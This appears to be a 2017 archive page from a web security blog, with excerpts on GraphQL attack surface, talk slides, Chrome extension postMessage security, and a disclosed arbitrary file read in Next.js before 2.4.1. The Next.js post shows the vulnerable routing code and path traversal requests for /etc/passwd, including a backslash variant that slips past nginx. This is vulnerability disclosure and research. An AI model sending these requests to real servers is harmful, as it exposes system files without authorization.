Year: 2017

  • Looting GraphQL Endpoints for Fun and Profit

    In one of the previous posts about the state of modern web applications security I mentioned GraphQL – a new technology for building APIs developed by Facebook. GraphQL is rapidly gaining popularity, more and more services switch to this technology, both web and mobile applications. Some of the GraphQL users are: GitHub, Shopify, Pintereset, HackerOne and many more. You can find many posts about GraphQL benefits and advantages over classic REST API on the internet, however there is not so much information about GraphQL security considerations. In this post I would like to elaborate on GraphQL: how it works, what the weak points are, how an attacker can abuse them, and which tools can be used.
    (more…)

  • Arbitrary File Reading in Next.js < 2.4.1

    Next.js is a quite popular (>13k stars on GitHub) framework for server-rendered React applications. It includes a NodeJS server which allows to render HTML pages dynamically. While digging into server’s code, a list of internal routes drew my attention:

    defineRoutes() {
        const routes = {
          /* ... */
          '/_next/:path+': async(req, res, params) => {
            const p = join(__dirname, '..', 'client', ...(params.path || []))
            await this.serveStatic(req, res, p)
          },
          '/static/:path+': async(req, res, params) => {
            const p = join(this.dir, 'static', ...(params.path || []))
            await this.serveStatic(req, res, p)
          }
          /* ... */
        }
    

    As you can see you can pass arbitrary path into serveStatic() function via /_next/ and /static/ endpoints:

    export function serveStatic(req, res, path) {
      return new Promise((resolve, reject) =>; {
        send(req, path)
          .on('directory', () =>; {
            // We don't allow directories to be read.
            const err = new Error('No directory access')
            err.code = 'ENOENT'
            reject(err)
          })
          .on('error', reject)
          .pipe(res)
          .on('finish', resolve)
      })
    }
    

    This function just pipes the contents of files into the output without any validation or restrictions. So, we can try to perform a path traversal:

    GET /_next/../../../../../../../../../etc/passwd HTTP/1.1

    And it works! However, NodeJS application servers are usually deployed behind nginx. Due to path normalization in nginx we cannot just use forward slashes and dots, nginx will return a Bad Request error code. Luckily, NodeJS server transforms backslashes into forward slashes, so we can bypass nginx validation.

    GET /_next\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1

    ZEIT, the company which develops Next.js, was very quick to respond and roll out the patch. Be sure to update to the latest version.

  • Database Firewall from Scratch

    Slides from our talk with Denis Kolegov at PHDays 7 “Database Firewall from Scratch” (+ bonus).

  • PostMessage Security in Chrome Extensions

    Slides from my talk at OWASP London Meetup on the 30th of March, 2017.

    Video
    CRX PostMessage Scanner source code

  • Universal (Isomorphic) Web Applications Security

    Nowadays you do not write things in jQuery. You use node.js, webpack, React, Redux, websockets, babel and a ton of other packages to help you create a basic ToDo web application. With frontend technologies developing rapidly, isomorphic (or to be correct universal) web applications are a big thing now. In a nutshell, it means that you can write the code in JavaScript which can be run both on server and client side with reusable components, validators and shared state. Lovely, isn’t it? As a frontend developer you would say that it definitely is. A security guy would argue since the approach is extremely unsafe for your data.

    (more…)